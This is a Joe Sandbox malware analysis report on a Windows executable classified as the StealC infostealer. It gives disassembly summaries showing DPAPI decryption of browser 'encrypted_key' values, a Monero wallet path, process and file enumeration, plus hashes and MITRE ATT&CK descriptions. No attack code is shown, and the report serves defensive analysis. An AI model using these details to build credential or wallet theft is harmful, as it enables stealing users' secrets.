Part of subcall function 003B9B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 003B9B84
Part of subcall function 003B9B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 003B9BA3
Part of subcall function 003B9B60: LocalFree.KERNEL32(?), ref: 003B9BD3

Strings

, xrefs: 003B9DC1
DPAPI, xrefs: 003B9D89
"encrypted_key":", xrefs: 003B9D30

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 3666e70a0ee23c83c961fdf54b40cc23e7c21fbc01317fe630b307168bd3f6df
Instruction ID: 263aa57cc9367ecb87cf95e1c90682ff8fe65882a5ccad89c28db95cfcfa57aa
Opcode Fuzzy Hash: 3666e70a0ee23c83c961fdf54b40cc23e7c21fbc01317fe630b307168bd3f6df
Instruction Fuzzy Hash: E23110B6D1020DABCF15DBE4DC85FEEB7B8BB48308F14451AEB05A7241E7359A04CBA1

Function 003C8680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,003D05B7), ref: 003C86CA
Process32First.KERNEL32(?,00000128), ref: 003C86DE
Process32Next.KERNEL32(?,00000128), ref: 003C86F3

Part of subcall function 003CA9B0: lstrlen.KERNEL32(?,01188940,?,\Monero\wallet.keys,003D0E17), ref: 003CA9C5
Part of subcall function 003CA9B0: lstrcpy.KERNEL32(00000000), ref: 003CAA04
Part of subcall function 003CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 003CAA12

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

CloseHandle.KERNEL32(?), ref: 003C8761

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: c48630a78019bdc9835dca8b2b0a46fc49ecea198ea0cbc0405b44f2344575ea
Instruction ID: 309c1f561a85c6cfd6618800c09c82f851f31b100b83aa8be8b44db77f525d4f
Opcode Fuzzy Hash: c48630a78019bdc9835dca8b2b0a46fc49ecea198ea0cbc0405b44f2344575ea
Instruction Fuzzy Hash: E7315C71901618ABCB26EB50DC45FEEB778EF45704F10419DE50AE61A0DF346E45CFA2

Function 003C7980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,003D0E00,00000000,?), ref: 003C79B0
RtlAllocateHeap.NTDLL(00000000), ref: 003C79B7
GetLocalTime.KERNEL32(?,?,?,?,?,003D0E00,00000000,?), ref: 003C79C4
wsprintfA.USER32 ref: 003C79F3

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: a14c5ccbbf77041d7aeb5617ec9d67b3c9b55fbca32e7f18ee379ee270fc9076
Instruction ID: 0fdebe0e43635d5d2503d0587a961c631e65f6cb5795419088d0bb46351dd7e5
Opcode Fuzzy Hash: a14c5ccbbf77041d7aeb5617ec9d67b3c9b55fbca32e7f18ee379ee270fc9076
Instruction Fuzzy Hash: 2E1115B2904118ABCB149FC9DD45BBEB7F8FB48B11F10421AF605E2280E2795944DBB2

Function 003CC742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 003CC74E

Part of subcall function 003CBF9F: __amsg_exit.LIBCMT ref: 003CBFAF

__getptd.LIBCMT ref: 003CC765
__amsg_exit.LIBCMT ref: 003CC773
__updatetlocinfoEx_nolock.LIBCMT ref: 003CC797

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: bcdb634c7a3eb1376faa62abdadd804548b8f7411635f8e6a8172f7f199555e7
Instruction ID: c51286c3d6e5bdf1fc6bbae6aad283d273d37148f361f4034b19d5e0ac6673c2
Opcode Fuzzy Hash: bcdb634c7a3eb1376faa62abdadd804548b8f7411635f8e6a8172f7f199555e7
Instruction Fuzzy Hash: 64F090329156149FDB23BBB86C07F5DB3A0AF00724F25514DF408EE2D2CB645D409F56

Function 003C4F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 003C8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 003C8E0B

lstrcat.KERNEL32(?,00000000), ref: 003C4F7A
lstrcat.KERNEL32(?,003D1070), ref: 003C4F97
lstrcat.KERNEL32(?,01188A70), ref: 003C4FAB
lstrcat.KERNEL32(?,003D1074), ref: 003C4FBD

Part of subcall function 003C4910: wsprintfA.USER32 ref: 003C492C
Part of subcall function 003C4910: FindFirstFileA.KERNEL32(?,?), ref: 003C4943

Part of subcall function 003C4910: StrCmpCA.SHLWAPI(?,003D0FDC), ref: 003C4971
Part of subcall function 003C4910: StrCmpCA.SHLWAPI(?,003D0FE0), ref: 003C4987
Part of subcall function 003C4910: FindNextFileA.KERNEL32(000000FF,?), ref: 003C4B7D
Part of subcall function 003C4910: FindClose.KERNEL32(000000FF), ref: 003C4B92

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 4c589258798313bbadc309ab50ab58bbb038f745a9670b65916ca3a5e9792fa6
Instruction ID: 080dcad8e4f3baff790ae4c296ea466eb29b49efab4b3f8174de317bdc6c4008
Opcode Fuzzy Hash: 4c589258798313bbadc309ab50ab58bbb038f745a9670b65916ca3a5e9792fa6
Instruction Fuzzy Hash: AD21A7B690020867C755F760EC46FE9333CAB54700F004549B64DDA181EE759ACDDBA3

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 003C9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 003B45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 003B4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 003C9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 003B6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 003C5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 003C17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 003C7500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Function 003C69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 003B1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 003C6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 003B47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 003C51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON